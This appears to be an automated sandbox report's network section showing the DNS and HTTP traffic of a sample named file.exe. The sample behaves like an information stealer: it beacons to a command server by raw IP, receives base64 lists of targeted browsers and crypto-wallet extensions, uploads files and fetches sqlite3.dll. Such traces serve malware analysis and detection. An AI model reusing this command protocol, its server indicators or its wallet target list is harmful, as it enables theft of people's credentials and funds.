Dec 8, 2024 00:48:24.786537886 CET	192.168.2.7	1.1.1.1	0x998d	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 8, 2024 00:49:59.461237907 CET	192.168.2.7	1.1.1.1	0xa0da	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 8, 2024 00:48:17.393784046 CET	1.1.1.1	192.168.2.7	0x8bf2	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 8, 2024 00:48:17.395140886 CET	1.1.1.1	192.168.2.7	0x8729	No error (0)	www.google.com		216.58.208.228	A (IP address)	IN (0x0001)	false
Dec 8, 2024 00:48:24.902785063 CET	1.1.1.1	192.168.2.7	0x2394	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 00:48:24.902785063 CET	1.1.1.1	192.168.2.7	0x2394	No error (0)	www3.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 8, 2024 00:48:24.906857967 CET	1.1.1.1	192.168.2.7	0x60c7	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 00:48:24.923791885 CET	1.1.1.1	192.168.2.7	0xc52	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 00:48:24.923791885 CET	1.1.1.1	192.168.2.7	0xc52	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 8, 2024 00:48:24.924455881 CET	1.1.1.1	192.168.2.7	0x998d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 00:49:59.599345922 CET	1.1.1.1	192.168.2.7	0xa0da	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Dec 8, 2024 00:49:59.599345922 CET	1.1.1.1	192.168.2.7	0xa0da	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	185.215.113.206	80	2688	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:48:08.829118967 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 8, 2024 00:48:10.160553932 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 00:48:10.196970940 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 36 32 45 41 32 32 34 30 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 2d 2d 0d 0a Data Ascii: ------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="hwid"4262EA2240254071173853------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="build"stok------DGDHJEGIEBFHDGDGHDHI--
Dec 8, 2024 00:48:10.658907890 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 47 51 33 4e 6a 51 35 5a 47 4a 6b 4d 7a 4e 6c 4e 54 63 79 59 6a 6b 79 4d 44 45 34 4d 6a 52 6b 4f 57 45 79 59 54 49 30 4d 44 46 6a 4f 44 4a 6c 4f 54 63 77 5a 47 4d 78 4e 44 59 79 59 7a 55 30 4d 6a 6b 7a 4f 54 63 79 4e 57 56 69 4d 57 45 33 4d 7a 42 68 4e 54 49 31 59 6a 42 6a 4e 32 4a 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZGQ3NjQ5ZGJkMzNlNTcyYjkyMDE4MjRkOWEyYTI0MDFjODJlOTcwZGMxNDYyYzU0MjkzOTcyNWViMWE3MzBhNTI1YjBjN2JifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 8, 2024 00:48:10.666218042 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="message"browsers------GDGDHJJDGHCAAAKEHIJK--
Dec 8, 2024 00:48:11.110708952 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 8, 2024 00:48:11.110730886 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Dec 8, 2024 00:48:11.302691936 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Dec 8, 2024 00:48:11.304013014 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"plugins------AAAKEBGDAFHIIDHIIECF--
Dec 8, 2024 00:48:11.748625994 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 8, 2024 00:48:11.748714924 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 8, 2024 00:48:11.748725891 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 8, 2024 00:48:11.748843908 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Dec 8, 2024 00:48:11.748857021 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Dec 8, 2024 00:48:11.756999016 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Dec 8, 2024 00:48:11.757110119 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Dec 8, 2024 00:48:11.762267113 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="message"fplugins------AEHIJKKFHIEGCBGCAFIJ--
Dec 8, 2024 00:48:12.206264973 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 8, 2024 00:48:12.221893072 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGC Host: 185.215.113.206 Content-Length: 7003 Connection: Keep-Alive Cache-Control: no-cache
Dec 8, 2024 00:48:12.221952915 CET	7003	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 8, 2024 00:48:13.195178032 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 00:48:13.534387112 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 00:48:13.990195990 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 